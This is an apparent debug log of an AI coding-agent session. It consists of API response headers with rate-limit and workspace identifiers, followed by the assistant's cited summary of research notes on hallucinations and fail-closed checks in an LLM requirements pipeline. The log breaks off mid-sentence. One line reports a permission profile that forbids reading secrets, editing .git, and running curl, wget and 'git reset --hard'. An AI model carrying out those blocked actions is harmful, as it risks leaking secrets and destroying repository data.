\"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:07.778Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:07.786Z] [STDOUT]   headers: {\n[2026-09-29T07:50:07.799Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:07.807Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:07.836Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:07.841Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:50:07.847Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:07.866Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:07.981Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:07.991Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:07.997Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:08.001Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:08.034Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:08.037Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:08.042Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:08.045Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:08.049Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:08.054Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:08.059Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:08.092Z] [STDOUT]     \"cf-ray\": \"a4296525be8429ad-FRA\",\n[2026-09-29T07:50:08.139Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:08.166Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:08.172Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:08.176Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:08.184Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:07 GMT\",\n[2026-09-29T07:50:08.193Z] [STDOUT]     \"request-id\": \"req_011CfXN7ZSEqJ9fJS1yQmY89\",\n[2026-09-29T07:50:08.201Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:08.205Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:08.210Z] [STDOUT]     traceresponse: \"00-c75dda136f0ecca7a2be55991d51d645-9e94adfc6dc45ca7-01\",\n[2026-09-29T07:50:08.216Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:08.219Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:08.227Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:08.286Z] [STDOUT]   },\n[2026-09-29T07:50:08.306Z] [STDOUT]   durationMs: 773,\n[2026-09-29T07:50:08.327Z] [STDOUT] }\n[2026-09-29T07:50:08.334Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:08.339Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:07 GMT\",\n[2026-09-29T07:50:08.347Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:08.354Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:08.370Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:08.382Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:08.392Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:08.405Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:08.416Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:08.445Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:08.458Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:08.462Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:08.468Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:08.474Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:08.481Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.38\",\n[2026-09-29T07:50:08.490Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:08.516Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:08.520Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:08.526Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:08.536Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:08.550Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:08.645Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:08.704Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:08.723Z] [STDOUT]   \"request-id\": \"req_011CfXN7ZSEqJ9fJS1yQmY89\",\n[2026-09-29T07:50:08.741Z] [STDOUT]   \"traceresponse\": \"00-c75dda136f0ecca7a2be55991d51d645-9e94adfc6dc45ca7-01\",\n[2026-09-29T07:50:08.745Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:08.755Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:08.762Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:08.767Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:08.771Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:08.804Z] [STDOUT]   \"cf-ray\": \"a4296525be8429ad-FRA\",\n[2026-09-29T07:50:08.816Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:08.867Z] [STDOUT] [log_9cab6c] response parsed {\n[2026-09-29T07:50:08.872Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:08.874Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:08.877Z] [STDOUT]   body: X {\n[2026-09-29T07:50:08.879Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:08.880Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:08.882Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:08.887Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:08.889Z] [STDOUT]     },\n[2026-09-29T07:50:08.890Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:08.892Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:08.896Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:08.898Z] [STDOUT]   },\n[2026-09-29T07:50:08.901Z] [STDOUT]   durationMs: 774,\n[2026-09-29T07:50:08.907Z] [STDOUT] }\n[2026-09-29T07:50:08.929Z] [INFO] {\n[2026-09-29T07:50:08.929Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:08.929Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:08.929Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:50:08.929Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:08.929Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:08.929Z] [INFO]   \"uuid\": \"de2fe917-9edc-4403-a44c-f600a8dc497a\"\n[2026-09-29T07:50:08.929Z] [INFO] }\n[2026-09-29T07:50:09.062Z] [INFO] {\n[2026-09-29T07:50:09.062Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:09.062Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:09.062Z] [INFO]   \"estimated_tokens\": 210,\n[2026-09-29T07:50:09.062Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:09.062Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:09.062Z] [INFO]   \"uuid\": \"83bd734f-52d2-43f6-ac2a-4999525dce3e\"\n[2026-09-29T07:50:09.062Z] [INFO] }\n[2026-09-29T07:50:09.067Z] [INFO] {\n[2026-09-29T07:50:09.067Z] [INFO]   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\"standard\",\n[2026-09-29T07:50:09.067Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:50:09.067Z] [INFO]     },\n[2026-09-29T07:50:09.067Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:50:09.067Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:50:09.067Z] [INFO]     \"context_management\": null\n[2026-09-29T07:50:09.067Z] [INFO]   },\n[2026-09-29T07:50:09.067Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:09.067Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:09.067Z] [INFO]   \"uuid\": \"6303c338-afd1-4deb-9ae0-2fd44499c97a\",\n[2026-09-29T07:50:09.067Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:09.058Z\",\n[2026-09-29T07:50:09.067Z] [INFO]   \"request_id\": \"req_011CfXN7ZSEqJ9fJS1yQmY89\"\n[2026-09-29T07:50:09.067Z] [INFO] }\n[2026-09-29T07:50:10.042Z] [INFO] {\n[2026-09-29T07:50:10.042Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:10.042Z] [INFO]   \"message\": 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\"rejected\",\n[2026-09-29T07:50:13.323Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:13.329Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:13.334Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:13.337Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:13.341Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:13.346Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:13.384Z] [STDOUT]     \"cf-ray\": \"a42965484af729ad-FRA\",\n[2026-09-29T07:50:13.391Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:13.398Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:13.415Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:13.426Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:13.437Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:13 GMT\",\n[2026-09-29T07:50:13.445Z] [STDOUT]     \"request-id\": \"req_011CfXN7y4Z5Urs3bfoDbuSa\",\n[2026-09-29T07:50:13.451Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:13.463Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:13.470Z] [STDOUT]     traceresponse: \"00-5017aa5676aac951cd3469229495d6d5-f10bc864a2eaf03a-01\",\n[2026-09-29T07:50:13.475Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:13.478Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:13.486Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:13.490Z] [STDOUT]   },\n[2026-09-29T07:50:13.503Z] [STDOUT]   durationMs: 746,\n[2026-09-29T07:50:13.515Z] [STDOUT] }\n[2026-09-29T07:50:13.523Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:13.530Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:13 GMT\",\n[2026-09-29T07:50:13.543Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:13.548Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:13.569Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:13.580Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:13.587Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:13.601Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:13.605Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:13.608Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:13.622Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:13.632Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:13.643Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:13.647Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:13.664Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:13.672Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:13.678Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:13.683Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:13.690Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:13.707Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:13.734Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:13.741Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:13.754Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:13.759Z] [STDOUT]   \"request-id\": \"req_011CfXN7y4Z5Urs3bfoDbuSa\",\n[2026-09-29T07:50:13.763Z] [STDOUT]   \"traceresponse\": \"00-5017aa5676aac951cd3469229495d6d5-f10bc864a2eaf03a-01\",\n[2026-09-29T07:50:13.767Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:13.769Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:13.772Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:13.774Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:13.782Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:13.785Z] [STDOUT]   \"cf-ray\": \"a42965484af729ad-FRA\",\n[2026-09-29T07:50:13.790Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:13.797Z] [STDOUT] [log_e3c17d] response parsed {\n[2026-09-29T07:50:13.803Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:13.805Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:13.810Z] [STDOUT]   body: X {\n[2026-09-29T07:50:13.819Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:13.824Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:13.831Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:13.835Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:13.837Z] [STDOUT]     },\n[2026-09-29T07:50:13.841Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:13.847Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:13.851Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:13.855Z] [STDOUT]   },\n[2026-09-29T07:50:13.857Z] [STDOUT]   durationMs: 747,\n[2026-09-29T07:50:13.865Z] [STDOUT] }\n[2026-09-29T07:50:13.870Z] [INFO] {\n[2026-09-29T07:50:13.870Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:13.870Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:13.870Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:50:13.870Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:13.870Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:13.870Z] [INFO]   \"uuid\": \"b29fc18a-8f34-4e2c-ab0a-9fbe7617fcd9\"\n[2026-09-29T07:50:13.870Z] [INFO] }\n[2026-09-29T07:50:14.083Z] [INFO] {\n[2026-09-29T07:50:14.083Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:14.083Z] [INFO]   \"message\": {\n[2026-09-29T07:50:14.083Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:14.083Z] [INFO]     \"id\": \"msg_011CfXN4yBQvgTd7YYfxov7f\",\n[2026-09-29T07:50:14.083Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:14.083Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:14.083Z] [INFO]     \"content\": [\n[2026-09-29T07:50:14.083Z] [INFO]       {\n[2026-09-29T07:50:14.083Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:50:14.083Z] [INFO]         \"text\": \"The full report is in `/tmp/research-notes/ba-requirements.md` (about 3,300 words, every fact cited by repo path). No repository files were changed.\\n\\nTwo things up front:\\n- **The hypothesis in item 2 is not stated anywhere as one sentence.** The argument is spread across several files; the chain of evidence is below.\\n- **Branch issue-639 adds nothing to `research/ba-requirements`.** It is already merged into main, and its work lives in `projects/ba-ai-process/` (item 5). So main URLs work for everything; branch URLs point to the same files.\\n\\nURL base: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/`. All paths below are relative to it.\\n\\n## 1. Mango run snapshots (numbers and paths)\\n\\n**`research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md`** (56 runs, 2026-04-10 to 2026-08-25)\\n- By status: draft 29, works-with-edits 19, partial-success 5, success 1.\\n- Totals: 1,080 episodes, 2,084 turns, 61,360,738 dialog tokens (median 720,806 per run).\\n- Hallucinations: 41 recorded across 11 runs; 12 reached the delivered output. Nine runs shipped hallucinations: RUN-0016, 0018, 0021, 0022, 0024\u20130028.\\n- Keyword counts: \\\"covered\\\" appears in 41/56 runs, \\\"discoverab\\\" in 0/56.\\n- The file's own caveats: hallucinations are logged under 3 different keys, success_rate can't be compared across runs, and metrics are filled in only 10 to 41 of 56 runs.\\n\\n**`research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md`** (57 runs)\\n- Required run folders exist in 100% of runs, but that is the contract in form only.\\n- Modeling markers appear in 2/57 runs, so there is effectively no core model (C-CORE).\\n- 23/57 runs (40.4%) produce more than one document.\\n- Reliability of measurement is declared in 5/57 (8.8%).\\n- 71 distinct metric keys, none used by every run; 24 keys appear in exactly one run.\\n- No run delivered a contract-grade TZ.\\n\\n**`research/ba-requirements/2026-08-26-m0-m2-layering-hypothesis-check.md`**\\n- A linear pipeline reaches its end document in 0 of 32 runs that produced a document; a layered pipeline reaches it in 32 of 32. The owner's threshold was 80%.\\n\\n**`research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md`** (67 runs)\\n- The 17 requirement documents have 17 different skeletons.\\n- Even one task (BCREQ-1074, 3 runs) produced 3 skeletons, with mean overlap (Jaccard) 0.69.\\n- There are no clean samples, so the reference Golden Set has to be synthetic.\\n\\n**`research/ba-requirements/2026-09-08-meta-model-inputs-facts.md`**\\n- 24 active prompts cover 13 capabilities.\\n- Variants of the same capability barely overlap: mean Jaccard 0.077, and 8 of 13 pairs have zero overlap.\\n- 50/67 runs reference no prompt, and 11/24 prompts are never used.\\n- 66/67 runs fall outside the process dictionary.\\n\\n**`research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md`**\\n- 10 of 12 meta-model constructs appear in none of the prompts; prompts average 1.04 constructs each.\\n- The file concludes the old corpus cannot be the basis for new contracts (this feeds ADR-014).\\n\\n**Other supporting files**\\n- `2026-09-08-kb-slot-fit-facts.md`: 860 knowledge-base sections; 0 needed a slot outside the 14-slot dictionary.\\n- `2026-09-07-ecosystem-knowledge-inventory.md`: 368 artifacts, of which only 13% are canonical and accepted.\\n- `methodology-unification/00-introduction.md`: the baseline is 2 of 32 runs with a verdict (6%) accepted without edits.\\n\\n## 2. Hypothesis and proposed fix (strict prompt + machine-readable contract + fail-closed check)\\n\\nThe evidence chain, strongest first:\\n\\n- **Theory: `research/ba-requirements/methodology-unification/10-theory.md` (sections 1 and 5)**\\n  - When the model resolves norms itself, the result varies: \\\"\u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c\\\" (two runs give two different sets of norms).\\n  - Rule T-1: the model's self-check cannot catch a defect that comes from its own false belief, so factual properties need a deterministic machine check (G-mach).\\n  - Rule T-2: irreversible decisions need a human gate.\\n- **Cases: `research/ba-requirements/methodology-unification/40-practice-and-cases.md`**\\n  - C-1 (RUN-0018): a strict step-by-step prompt with 8 self-check steps still logged 8 hallucinations, 1 shipped. The run's own note: \\\"\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\\\" (the prompt was followed; the facts were not made reliable).\\n  - C-2 (RUN-0063 \u2192 0064 \u2192 0067): 5 requirements described features that already existed. The defect was found two runs late, and RUN-0063 was invalidated. The proposed fix is a skill with a machine check that fails closed: \\\"\u043f\u0443\u0441\u0442\u043e\u0439 SSOT \u2014 \u043e\u0442\u043a\u0430\u0437, \u0430 \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\\\" (an empty source of truth is a refusal, not a warning). The pilot is B-131 in `50-open-research.md`.\\n- **Pipeline stages**\\n  - `normalization/00-introduction.md`: the human gate is unreliable (9/56 runs shipped hallucinations), so claims must be checkable by machine.\\n  - `artifact-rendering/00-introduction.md`: the rendering stage may not create new meaning.\\n- **Environment: `2026-09-10-gigacode-environment-facts.md`**\\n  - GC-19: the agent works where the result can be checked by machine.\\n  - GC-20: it invents whatever it doesn't know.\\n- **Why prompts alone are not enough:** legacy prompts contain almost no checkable constructs, and prompt variants overlap at Jaccard 0.077 (item 1).\\n- **A new twist from #639:** a fail-closed check must look at each step, not the whole package. In probe P10 the text \\\"lorem ipsum\\\" passed as the output of steps n1\u2013n3 (\u0413-29). The determinism metric stayed at 1.0 even with junk output (\u0413-30). The fix is backlog item B-212.\\n\\n## 3. Key conclusions per subdirectory (from each `00-introduction.md`)\\n\\n- **normalization**\\n  - Coverage assessment is the main loss (41 vs 0 keyword hits), so it should be its own operation with a gate.\\n  - 9/56 runs shipped hallucinations, so grounding must be machine-checkable.\\n  - Recommends a hybrid: a universal taxonomy plus a Mango taxonomy, linked by a correlation matrix.\\n- **methodology-unification**\\n  - There is no single BA methodology.\\n  - Norms are layered: industry \u2192 IT-telecom \u2192 Mango additions. At run time the agent gets one compiled SKILL.md and never works out the layers itself.\\n  - Only 6% of runs with a verdict were accepted without edits.\\n- **orchestration**\\n  - The route is fixed before generation, on 6 axes, at an entry gate. The resulting route sheet is a commitment.\\n  - Route rules are checked by machine, and stopping mid-route is normal.\\n  - Its verdict was \\\"a YAML file, no engine needed\\\". #639 later challenged this because nothing executes the route.\\n- **solution-modeling**\\n  - The core model is an object, not a stage, and in practice it is missing (2/57 runs).\\n  - Readability for every audience comes first; there are 12 model classes. Mango covers 6/12 classes and 4/9 invariants.\\n  - Tools to build or buy: StrictDoc, Doorstop, Sphinx-Needs, ReqIF.\\n- **artifact-micro-structure**\\n  - 17 documents have 17 skeletons, so headings must be separated from meaning.\\n  - UI and acceptance criteria are folded into functional requirements.\\n  - One artifact is shown in 3 views (business, approval, developer). The synthetic Golden Set is mandatory and part of the machine check.\\n- **artifact-rendering**\\n  - Rendering is assembly, not writing; no new meaning may appear at this stage.\\n  - Three render modes (deterministic, generative, hybrid), which differ in what can be proven.\\n  - A fully deterministic render may be impossible for a TZ.\\n- **feedback-and-evolution**\\n  - Without feedback the pipeline cannot learn: 100% of runs deliver documents, but only 8.8% say how they were measured. There are 71 metric keys.\\n  - The first task is a closure-record schema.\\n  - Keep execution, decision and process quality separate.\\n\\n## 4. GigaCode, skill granularity, taxonomy defects\\n\\n**GigaCode (`research/ba-requirements/2026-09-10-gigacode-environment-facts.md`, facts GC-1 to GC-28)**\\n- All 11 vendor documentation pages were reachable (HTTP 200).\\n- Skills live in `.agents/skills//SKILL.md`; only name and description are required, and they load in stages.\\n- Agents are defined in `.opencode/agent/*.md`, with modes and permissions.\\n- The profile forbids reading secrets, editing `.git`, curl, wget and `git reset --hard`. There are 42 MCP tools.\\n- Vendor stance: \\\"\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0430\\\" (a check must be shown, not claimed).\\n- Scope rule: a short rule belongs in AGENTS.md; anything needing its own permissions or isolated context should be an agent.\\n- The owner's \\\"1M-token hard limit\\\" is not in the documentation (verification is B-162). How a human gate would work is also undocumented.\\n\\n**Skill granularity (`research/ba-requirements/2026-09-10-skill-granularity-format-facts.md`)**\\n- GigaCode sets no limit on how big a skill can be.\\n- Control returns to the analyst in 10/10 step-by-step prompts and 0/14 others, a perfect split.\\n- All 9/9 one-shot prompts contain an internal algorithm, so \\\"one-shot = atomic\\\" is refuted.\\n- None of 33 skills is a single operation; each uses 2\u20137.\\n- 21 of 31 operations are reused by 3 or more skills. check-schema leads with 11.\\n\\n**Taxonomy defects (`research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md`, D1\u2013D8)**\\n- D1: FR and TZ are merged in 29 places, though the ontology has two separate types (A18, and A19 per GOST 34.602-2020).\\n- D2: \\\"draft\\\" is used as a process boundary, although it is a lifecycle state.\\n- D3: 7 of 13 operations have more than one output class.\\n- D4: 8 of 13 operation definitions list mixed results.\\n- D5: Mango has 6 subprocesses; the hub has none.\\n- D6: the System, User and Subprocess entities are missing.\\n- D7: 66/67 runs fall outside the dictionary.\\n- **Discrepancy:** `research/ba-requirements/README.md` describes D3 and D4 differently from the facts file. Cite the facts file, not the README.\\n\\n## 5. Branch issue-639 vs main\\n\\n- Branch `issue-639-405767e7672e` (tip 836faaf) was merged via PR #643 (d718616) and has no commits beyond main. `research/ba-requirements` is identical on both.\\n- **Files the branch added (now on main):**\\n  - `projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md` (508 lines)\\n  - `projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md` (hypotheses \u0413-01 to \u0413-25)\\n  - `projects/ba-ai-process/experiments/issue_639_runner_probes.py` and `.log` (probes 